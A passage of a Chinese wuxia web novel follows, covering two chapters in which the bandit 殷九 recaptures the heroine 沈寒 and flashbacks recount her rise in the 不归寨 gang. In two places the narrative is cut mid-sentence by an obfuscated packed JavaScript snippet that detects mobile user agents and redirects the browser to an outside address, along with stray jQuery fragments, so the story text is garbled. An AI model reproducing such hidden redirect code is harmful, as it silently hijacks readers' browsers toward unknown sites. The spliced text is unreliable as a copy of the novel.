“谁是你师妹?”沈寒不屑地上下打量郑清商,匪子嘴脸暴露无遗,“最烦你这种名门淑女,看着恶心。” 郁云笙怒道:“水鬼你别不知好歹!” “再叫拖着你一起过去!”沈寒声音骤然提高,喝斥得郁云笙眨了眨眼,竟然真的让她闭嘴了。 其他夷山弟子议论纷纷,连素来古板的三师父岳震也唤她回来。 沈寒觉得吵闹,故作轻快朝匪子走了过去。 走到火墙前时,她已经心如止水,却不知为何鬼使神差回头看了一眼。 郁珩神色凝重,嘴唇一开一合,仿佛在对她说什么。 不——要—— 她能感到郁珩此刻的不同,那张俊美的面孔下仿佛压抑着极大的愤怒和不甘。可她来不及多想,也不打算多想。 临走还要听你的,想都别想。 遂众目睽睽之下,沈寒对着郁珩抛了个不标准的媚眼,飞身越过火墙。 殷九和乌黑阴寒的无赦就在对面等着她,就像她窜逃而出的那个雪夜,等她自投罗网。 沈寒平静地走了过去,刹那间,她的手被拉住。 这是她第一次触碰郁珩的手,不知为何,触感并不陌生。 她侧首,对上郁珩严峻的目光,心里准备好一箩筐讥讽的话都说不出了。 她没想到郁珩会孤身到火墙后,匪子的刀逼在他身前,他却视而不见。 这是那个缜密的郁珩吗? 突然之间,沈寒参悟了郁珩曾说过的那句话。他说:“有你下山的时候,别急。” 原来郁珩也没想过留住自己,既然如此,他何苦做这般功夫?为了成全夷山少侠扶贫惜弱的美名吗? 沈寒恍惚片刻,只觉得可笑,一把甩开了郁珩的手。 “郁珩,你记住,是你逼我走的。” 郁珩脸上难得出现了慌张,沈寒撕破了他圣人的假面,她甚是欣喜。 沈寒上了殷九的马,夷山的风光飞速掠过。 她知道,这是郁珩为她选的死路。 她偏不要死。她沈寒一定要活得比谁都久。 14. 不归 马蹄声迅疾,枯槁的草木飞速掠过眼前。不归寨的匪徒收兵,雄赳赳气昂昂奔走在荒野林间。 越是前行,路越熟悉。沈寒知道,前面便是不归寨了。 她被殷九困在马前,殷九的下颌就在自己的额角上。她能感受到殷九身上炽热的体温,还有他因打了胜仗狂喜引起的剧烈喘息。 沈寒微微抬头,能看到他的下巴尖尖。他是个皮相顶好的人,若说品性,只是坏,却也算不上十恶不赦。这样的人聪明油滑,是天生做山匪的料。 可她沈寒不是。 她不属于任何人,也不属于任何地方。她没有归属,也没有同伴,是一个在世间游荡的孤魂野鬼。 沈寒抓住殷九松懈的刹那,奋身一挣,喉间立即浮上一线冰凉。 殷九一手握着马缰,另一手用无赦抵着沈寒的喉咙,“想跑?知道你力气大,你要想清楚,是刀快还是你快。” 说话间,唇畔喷出些白雾,让沈寒觉得双眼迷茫。 队伍行得极快,马背上颠得厉害,稍有擅动就会被抹了脖子。沈寒苦笑道:“我不会再回到不归,你已是寨主,又何必抓我?” 殷九笃定道:“你是睚眦必报的人,这一点,你我都清楚。你不死,我寝食难安。” 他的眼睛没有其他匪徒浑浑噩噩的混沌,倒是十分清明,映着山川水色。良久,殷九不知道想到了什么,轻声念了一句。 沈寒没有听清,胡乱应一声,这一次,殷九难得耐心重复了。 “风雪太急,一个女子何苦在外面。” 他的嗓音压得很低,几乎被马蹄声踏碎。这近乎叹息的一句话,是殷九对沈寒说的第一句话。 那一年是昌和十三年,江浙驿道上本该挤满了南下的人。这些人早嗅到了时局风声,拖家带口尽量南迁。可听闻这道上有匪,抢了许多过路人,凶残异常,因此,好端端一条宽敞大路,竟无人敢走。 雪地里,殷九和刁顺子身上已经冻僵了。 刁顺子颤颤巍巍掏出块馍,问殷九,“九哥,吃不吃?” 他一说话,肩膀耸动,雪沫子纷纷落下。 殷九斜睨了一眼,道:“不吃。” “咱非得在这等吗?” “官道无人敢走,再这样下去迟早要遇上兵。你想遇上兵吗?” 刁顺子连忙摇头,又抖落一身雪沫。 他们就趴伏在雪地里,已经趴了一个时辰,中途下了雪,两个人冻得和雪地融为一体,却依旧没有等到路人。 刁顺子等烦了,一边吃馍一边说:“要我说,叫几个弟兄来蹲,咱回去烤火。大当家那么喜欢你,你何苦自己在这守。” “你懂什么,半个月不开张,大当家迟早废了我。” 刁顺子叹了口气,望着白茫茫的雪地,哀声道:“世道难啊!听说了吗?起义军被灭了,领头的那个被杀了。那厮还认识咱们大当家,叫……叫什么来着?” 殷九有些不耐烦,还是答道:“陈午!” “对对对,陈午!还好大当家没搭理他,不然咱这一寨子千口人命,全都得死!” “哼。”殷九悻悻道:“以后有的乱呢!瞧着吧,灭了起义军,朝廷没钱,还联狄灭戎呢?灭个屁!” 刁顺子道:“那咋办?” 问了半天,殷九没有作声,刁顺子不明所以,晃晃殷九的胳膊,发现他目光直盯着前面。顺着殷九的视线望去,雪地里站着一大一小两个人。 大的肥头大耳,是个挺富态的男子,小的个头高挑,十二三岁的年纪,是个漂亮的小姑娘。 他们似乎起了争执,小姑娘在前面抱着胳膊生闷气,男子跟在后面呲牙咧嘴骂个不停。这寒冬腊月的,二人走在雪地里,没有包袱,空荡的往前行,也是稀奇。 他们穿得破破烂烂,一看也没多少钱。 本来殷九是不打算搭理二人的,谁知这二人吵起来,那男子离他设的陷阱越来越近。 殷九几乎要跳出来了,还没来得及阻止,一声绳子发出轻微响声,树干上的雪簌簌落下,两个人一齐被吊了起来,困在网子里。 “抓住了!”刁顺子大喜,脱口而出。 殷九没好气地给了刁顺子头皮一巴掌,“乐什么?娘的,两个穷鬼!” 殷九气冲冲走上前,朝吊在天上的网子一看。那男子还在呲牙咧嘴大呼小叫的骂,姑娘倒是镇定的很,脸上充满了对男子的嫌弃。 不过,这姑娘倒是漂亮,带回去发卖了也能赚点钱。 网兜挡着,看不清楚,于是殷九拔出无赦劈断了绳索,那两个人立即栽了下来。殷九生性风流,尽管已经断了这小姑娘的生死,还是下意识伸手去接。 就这么不偏不倚,殷九抱住了她的小腿,姑娘怕摔,揪着自己肩头的衣服不放。 雪屑簌簌而下,仿若一场新雪。 殷九这才看清姑娘的面容。 她有一张苍白的脸,和一双空洞的美眸。整张脸精致得惊人,比江湖女侠娇艳,比世家淑女妩媚,纵使殷九见过无数漂亮姑娘,这个姑娘仍然是最特别的。尤其是她那双眼睛,看不出她的心思,像是女鬼一般的阴沉。煞白的面容下,嘴唇毫无血色,攀着殷九的手腕露出一块新鲜的伤疤,似是刚被火燎过。 这是殷九和沈寒的第一次见面,殷九不至于被美貌折服,却沉沦在她女鬼一样的双眼里。 他顿了顿,才将沈寒扔到地上,道:“风雪太急,一个女子何苦在外面。” 刁顺探头看了一眼,也连称:“这女鬼好生美貌!” 殷九将沈寒带回了寨里。 为了方便劫掠南下的富户,不归寨临时迁到江浙驿道附近的深山中。一同关押的还有几个被绑来的百姓。 大当家人称山魈,时常放纵匪子折磨殴打这些人取乐。殷九经常听到惨叫声不绝于耳,路过关押他们的地方,也会看到沈寒浑身是血坐在角落。 可她一声没吭,鞭子抽在身上也不叫喊,只有那双黝黑的眼睛审视着折磨她的每一个人。倒是和她一同被抓来的男子,每天都嚎个不停。 一日深夜,殷九和刁顺子在匪寨的暗道归来,身上还冒着寒气。 提灯照亮了暗道的前路,本该只有他们二人知道的暗道多了些陌生的声音。 殷九警觉,提着无赦默默向前逼近,一把便将躲在黑暗中的人擒了过来。 刁顺子提灯一照,竟是沈寒。 她逃出来了,甚至找到了这个暗道。 更让殷九觉得后怕的是,这条暗道是他和刁顺子的秘密,他们二人借此暗道变卖山魈的财宝,以此敛财。 刁顺子当即脱口而出,“九哥,杀了她!” 沈寒却一把将殷九的手扭开。殷九没想到一个小丫头能有这么大的力气,他感到手臂传来剧痛,手里的刀不稳,无赦落地,反被她一脚踢起夺了过来,直指殷九。 刁顺子持刀相逼,三个人无声对峙着,只是沈寒更有破釜沉舟的气势。 殷九打破了对峙,“你想跑?你爹呢,不要了?” “那不是我爹。”沈寒的声音像雪中冰刃,“他的生死与我无关。” “那你呢?你以为你能跑出这个寨子?就算你出了山寨,山道之中有我们的人巡逻,一旦你被捉回来,山魈定会让你生不如死。” 沈寒剧烈喘息着,火光烤着她惊为天人的面容。她还很稚嫩,没有长开,不敢想象长大后她该是何等倾城。 殷九缓了缓口,“不如,我想办法带你出去。你走了就不准回来,不准和任何人提起过我,不准提起不归寨。如果你敢报官,天涯海角我们也能抓到你。” 沈寒宛如惊弓之鸟,手里的镰刀握得更紧了。“我不相信你。” “只要你走了,你就不会再见到我们。”殷九缓缓举起双手,“寨子马上要南下去望仙,你不会见到我们的。” 谁知那姑娘听到后神色大变,目光凌厉几分,“你们要去望仙?” “怎么,那是你家?” “不是。” 她否认得很果断,殷九反倒断定她一定是望仙人。 沈寒抬眸,那一刹那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17353313|199654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,殷九觉得自己说错话了,他不该告诉沈寒这些。 沈寒说:“我要留下来。我们做个交易。我替你保守秘密,你让我加入你们寨子。” 刁顺子笑了起来,“你?你以为个子高点就能抢劫?想什么呢!” “如果你们拒绝我,你们干的勾当我一定会告诉山魈。到时候,我依旧会想办法留下,但你们的命,就不好说了。” 刁顺子举刀逼近一步,“臭娘们你找死!” 沈寒孤注一掷,一把拉过殷九,无赦卡在他的喉间,对二人道:“我要加入不归寨,如果你们不允,我先杀一个,再告发另一个!若是今天我死在这,和我一起的那个胖子也会把事情说出去。你们没得选,只能答应我!” 火焰燃烧的声音噼啪作响,吵得殷九无法思考。可他被沈寒逼着,心中却觉得沈寒的提议不错。 他倒想看看,这样烈性的女子,答应了她又能如何呢? 殷九把沈寒身怀怪力之事告诉山魈,晓之以情动之以理,终于将沈寒留了下来。 可他没想到,沈寒成长得如此之快。 短短半年,她从一个打杂的喽啰,到巡山的小卒,再到打家劫舍的悍匪,屡立奇功。她几乎要成为山魈的左膀右臂,要和殷九平起平坐。 起初殷九以为沈寒以色侍人,可听了几次墙角,又同沈寒抢了几个村子,他才发现,这个女子异常的歹毒。刀架在脖子上,血溅了一身,她丝毫不怕。 她不需要侍奉谁,她是天生的恶女。在这个崇尚女子纯良淑德的时代里,她像是蛊惑人心的妖冶女鬼,蛰伏在寨子里,不声不响向上爬。 殷九揣摩着沈寒的过去,看她一步步走到山魈身边,成为了山魈的左膀右臂,和自己平起平坐。 昌和十五年,开春。 万物竞发的好时节,汴京城纸醉金迷的故事里,哀鸿遍野,饥荒四起。 沈寒已经来到不归寨两年。可当年殷九承诺的回到望仙,不归寨迟迟没有兑现。 沈寒明显有些焦躁了,她开始屡次提议不归寨迁寨,山魈却盯上了秀州。 秀州城外有一座古刹,名为澄觉寺。寺中香火正盛,听闻每个僧侣的袈裟都是金线缝制的,若能将澄觉寺抢了,钱足以养活不归寨三年。 只是抢寺庙这事,多少有些缺德,寨中反响平平,连殷九都不愿下手。唯独沈寒站了出来,自愿请命前去。 春风正暖,万里无云。 澄觉寺前梨花如雪,地上却满是鲜红。殷九刚刚走入宝刹,冲天的血气几乎将他吞噬。 地上都是僧侣、官兵以及匪徒交叠的尸体,他一步步走进寺庙深处,心里只有恐惧。 他是领命而来,山魈忌惮沈寒这个妖女,而沈寒在寨中颇具威望。他知道抢过澄觉寺,沈寒不可能全身而退,殷九只需要此刻浑水摸鱼,给沈寒致命一刀。 地上的血流淌成河,每一步都粘腻非常。殷九心跳越来越快,想到自己要做什么,握着无赦的手便忍不住颤抖。 大雄宝殿中,佛像倾倒,惨叫声凄厉传来。 殷九走入殿内,看到一个浑身赤红的人,背影孤绝,孑然一身,手里的刀还在往下滴血。她应当是知道自己犯了大恶,不再考虑后路,一边剧烈喘息着,一边踢开脚旁的僧侣尸体。微微仰头,望着那尊硕大的佛像。 火顺着柱子一路烧了上去,灰烬纷飞,不知道是不是殷九的错觉,他好像看到那尊佛落泪了。而已经决心踏入地狱的沈寒,缓缓转身,双目空洞盯着殷九。她脸上的血还没有干,嘴唇颤抖着,竟勾起一抹惨烈恐怖的笑。 紧接着,沈寒手起刀落,身旁和她等身高的一尊佛像,竟被她一刀枭首。刀震碎后飞了出去,刀片直插在殷九的脚前,歪斜一点便刺伤他的腿。 断刀直指殷九的面孔,沈寒笑问他,“山魈让你杀我吧?” “沈寒……”殷九觉得心口一阵钝痛,他开始后悔自己在风雪天,捞了一个恶鬼回寨子。 “殷九,你想怎么选?”沈寒语气十分冷静,“选我,还是……去死?” 15. 回家 殷九做出了他的抉择。 山魈被最信任的手下背叛,他的尸体被扔在不知名的山沟里,无人问津,无人收殓。他化作了泥土,而踩过不归寨土壤的是冉冉升起的新寨主。 这一年初夏,蝉鸣正躁,不归寨举寨南下。 刚到望仙县时,望仙百姓正忙着祭祀河神。他们未曾察觉,一个游荡在外多年的孤魂野鬼,正以声势浩大的阵仗荣归故里。 过去的回忆在冬日冰冷的白雾中揉碎,殷九拖着沈寒,一步步走进不归寨。两侧的匪徒列队迎接寨主,目光炯然凝视这一切。 旧寨主与新寨主,穷凶极恶的女鬼和二度背叛旧主的山匪。甚至许多匪徒看到沈寒时,还会感到胆寒,怕沈寒卷土重来,将这些背叛了她的人都杀个干净。 沈寒下意识留心路过的每一张脸,确定没有找到一个肥头大耳的油腻中年男子后,心也微微落定。 殷九将沈寒扔进了一个屋子,沈寒感到陌生又熟悉,许久才发现,这曾是她作为寨主的居所。原本摆放了素瓶与香炉的地方,如今放着一虎皮交椅,旁设一兵器架。她曾经收集的琵琶也都被丢了个干净。 自己才被赶出不归寨不到一个月,殷九便着急将卧房的装潢换了个遍。她不禁感到有些可笑,勾了勾唇角。 这笑落在殷九眼中极为刺目,他一面将沈寒的双手双脚用铁锁铐住,一面冷声道:“笑什么?” “笑你品味奇差,好端端一个卧房,铺一张虎皮。不伦不类和山匪没什么区别。” “我本就是山匪。而你,做不成山匪,身上欠了太多血债,也走不了正道。” 这话倒是实话,戳中了沈寒的心窝。她虽依旧笑得不屑,唇角却浮上难以掩盖的苦意。 短短二十日,物非人也非,自己的卧房再无自己的痕迹,寨中匪徒看着自己再不似从前那般俯首帖耳。可回顾浑浑噩噩的三年,除了将那狗县令杀之而后快,她似乎孑然一身,什么也没得到。 匪徒薄情寡义,她也没那么想继续做山匪了,若是走正道,她已投身地狱,再无回头的可能。 她还是那个空无一物的沈寒。 殷九铐住她的双脚又铐双手,动作中透着股狠劲。沈寒能看得出,他心情非常不好,甚至比没捉回自己时更糟。 因为没能除掉自己吗?那为何不立刻动手? “佛珠去哪了?”殷九捏着沈寒空无一物的手腕骨,冷不丁开口。 沈寒怔了怔,自己纤细白净的手腕被他捏在手中微微发疼。 三年前,山魈的尸体被扔在山里。沈寒亲眼看着他死透,才肯带人回寨。 夜里回山的路不好走,一路颠簸已经筋疲力尽,到了黑漆漆的寨子口,有一盏灯候在前方。匪子们看到灯不由得长舒一口气,沈寒却面色一沉。 匪寨深夜不点灯,怕被官兵摸清位置,沈寒当即心中起了怒。她下马向前,看到笑盈盈候着他的殷九,呵斥道:“谁让你点灯的?你活腻了?还是想给山魈招魂?” 殷九丝毫不在意沈寒的臭脾气,两眼笑成条缝,沈寒能看得出,他是真的开心。“夜里山路黑,我等寨主回来。” 沈寒心头一暖,马上用怒色掩盖,“有什么好等的,滚回去。” “是。” 殷九替她牵马,寨门一层层打开,两侧的匪徒候在旁,目光里都是忠诚。 殷九突然道:“我有一礼献给寨主,算是您统领不归寨的贺礼。” 沈寒飞扬的眉头紧蹙,“我不需要礼物。” 殷九并未多言,默默掏出一串佛珠。并非名贵的材质,用深褐泛紫的老檀木制成,光润似玉。沈寒下意识接过,凑到鼻子前轻嗅,闻到了一股静谧的暗香。 她嘴角不由得上扬,“你送我这个是什么意思?” “好看,与你相配。你我相识两载,我未送你什么。这是当时澄觉寺门前一个小僧手上的,并未染血,我取下来给人仔细打磨……” 话未说完,殷九胸口挨了一脚,整个人飞了出去。他捂着胸口疼得呼不出气,心头的恼火无处发泄,可他抬眼看着沈寒,仍然因她惊心动魄的艳丽归于沉静。 沈寒冷声道:“我最恨佛子。这种东西,不准出现在我面前。” 殷九苦笑着颤颤巍巍爬起身,还没直起腰,却听到沈寒一声孤执的回应。 “下不为例。” 那串佛珠戴在她手腕上,古朴静谧,和她的气质很像。 如今她穿的是那所谓名门正派的白衣,手腕干干净净,仿佛把她不堪的过去全都抛下。那过去里,有殷九的痕迹。 殷九的恨意弥漫,抓着沈寒的手厉声质问,“我问你佛珠呢?” “早他妈扔了!”沈寒忍无可忍骂道。 殷九一把捏着沈寒的脸,这是他第一次如此近的触碰她。刚从外面回来,沈寒的脸还透着丝丝凉意,未施粉黛脸上却浮起粉红,朱唇饱满好看。殷九下意识手颤了颤,随即汹涌的满足感充斥着他。 “你以为你穿了这衣服你就是什么好人了?不可能!沈寒,你是恶人,你甩不掉你的过去,你也甩不掉我。你和我一样,我们就该在地狱里,就算被业火烧死,也是一起抱团去死!” 殷九说完,看着沈寒的唇,恶意弥漫,他突然想将手指塞进她的口中。里面一定是温暖的,潮湿的,她的小舌一定会拼命挣扎抵抗,这样恰好掉进了殷九玩味的陷阱。他可以借此机会侵入,和这个极恶之女,一步步沉沦。 心怦怦直跳,殷九骤然松手。 他不敢。 自己同她越近,她同自己越远。 殷九松开手,退了两步。他看着沈寒那双雪刃般凌厉的眼眸,最终放弃了。 “我们才是同类。”这一声有气无力,殷九已经缴械投降。 沈寒却不再看他,淡淡道:“无所谓。” 她清楚地知道,自己从没有同类,更不存在同伴。世人熙熙攘攘,结伴同行,唯独她没有自己的道,孤身一人还要继续摸索下去。 她做不了好人,也做不了恶人。没有仇恨做执念,她有些想死,却又舍不得后面未知的人间。如果就此下地狱,她也会觉得冤屈,凭什么有的人生来就可以光风霁月,有人却只能仰望。 殷九坐在了虎皮交椅上,二人互相不愿意看对方,恩怨情仇更是只字不提。 直到刁顺子气喘吁吁匆匆赶来,先是神色古怪地望了沈寒一眼,随手对殷九道:“大当家的,夷山打上来了!” “夷山?”殷九坐正身体,有些不相信。名门正派视他们匪寇为敌,怎么可能为了沈寒打上不归寨? “不止……还有……还有……” “还有什么!” “还有县衙的人!” 殷九闻言正色,提起无赦气势汹汹杀了出去。临走之前吩咐刁顺子留下看守沈寒。 殷九走了有一阵,整个屋子安静得尴尬。沈寒斜眼看着刁顺子,回忆起与这个男子的始末。 是了,就是这个老王八蛋,从一开始就看她不顺眼。 沈寒道:“你一直跟着殷九?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17353314|199654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她一开口,刁顺子应激了似的,抱紧手里的刀,“你干什么?” 沈寒展示自己手上脚上的铁锁,“我都这样了,能把你怎么样?咱们也认识五年了,闲着也是闲着,找你唠唠。” “呸!” 刁顺子对着地怒喷一口,恶心得沈寒连连朝后蹭。 刁顺子道:“你这个蛊惑人心的妖女,你就该去死。” 这话沈寒听太多了,叹了口气,道:“然后呢?” “你十恶不赦,若不是你,山魈大当家就不会死。” “这么说你忠心于山魈?” “我忠心于不归寨!” 沈寒笑了声,“你忠心于山魈,又为殷九称臣,为何偏偏跳过我去?我不是不归寨的大当家?或者说,当年殷九同我联手杀了山魈,你难道没出力?” 刁顺子一时语塞,沈寒乘胜追击。 “你其实和那些名门正派没什么区别,只会为自己鸣不平,然后去指责与自己意见相悖的人。现在大祸临头,县衙和夷山派齐心攻来,你难道没想过,我只是一个饵?” 是了,沈寒若是能藏在夷山,何必献身自投罗网! 刁顺子双目泛红,道:“你这个妖女……” “骂我有意义吗?不如求求我,当年我在不归寨给自己留了一条后路。我给你指明,你同殷九借此路逃命,还能留一条性命。” “就算是县衙与夷山联手,也未必能胜!” 沈寒笑得十分轻蔑,讥讽道:“若无十足把握,我是不会来这里的。这是我的复仇,背叛我的人啊,你们全都要死。不归寨要死,县衙要死,夷山派也得死!” “你这个妖女!”刁顺子的声音破碎起来,他虽不知外面境况,却也相信沈寒所言为真。 沈寒说:“你和殷九帮过我,你现在扶我打开脚铐,我有一条暗道可以引你们离开。” 刁顺子还有些犹豫,沈寒亮出手腕,“我力气再大也挣不开铁链,你若不信我,便去和他们拼个鱼死网破罢!” 说完她背过身去,不再搭理刁顺子。 果然,刁顺子道:“行。你若敢有什么小动作,我马上杀了你。” “嗯哼。” 刁顺子半信半疑,打开了脚铐后扶着沈寒起身。只瞬间沈寒暴起,手上的铁链砸在他头上,勒住了他的脖子。 刁顺子翻了白眼昏倒过去,沈寒长舒一口气,想在他身上摸出解开双手的钥匙,却怎么也找不到。她不敢耗下去,两手被束缚,狼狈地朝外跑。 路上遇到几波赶往山前的山匪,她都躲了过去。她刻意避开了顺畅的山路,从寨子后跌跌撞撞跑走。 天色泛青,不见日光。地上铺着一层薄雪,碎叶残枝遍地。沈寒不顾一切往前跑,脚踝上都是细小的划痕。 枯林一眼望不到头,双方交战的声音传来,沈寒一刻也不敢停,更不敢回头看。 直到她看见,枯林的尽头出现了一抹身影。那一刻,无论是敌是友,沈寒由衷地笑了起来。 她弯下腰,汗水从额角滴落。 郁珩静静走向他,伸出手想拉她一把。 这个人总是这样,在她身逢绝境的时候披着光出现,一言不发,如冰似雪。 郁珩说:“走。” 沈寒脱口而出问道:“去哪?” 她看向郁珩的目光有些委屈,因为是他丢下自己的。是他步步为营,把自己当作算计的筹码。 郁珩不由分说牵起沈寒被禁锢的双手,一步步向前,“回家。”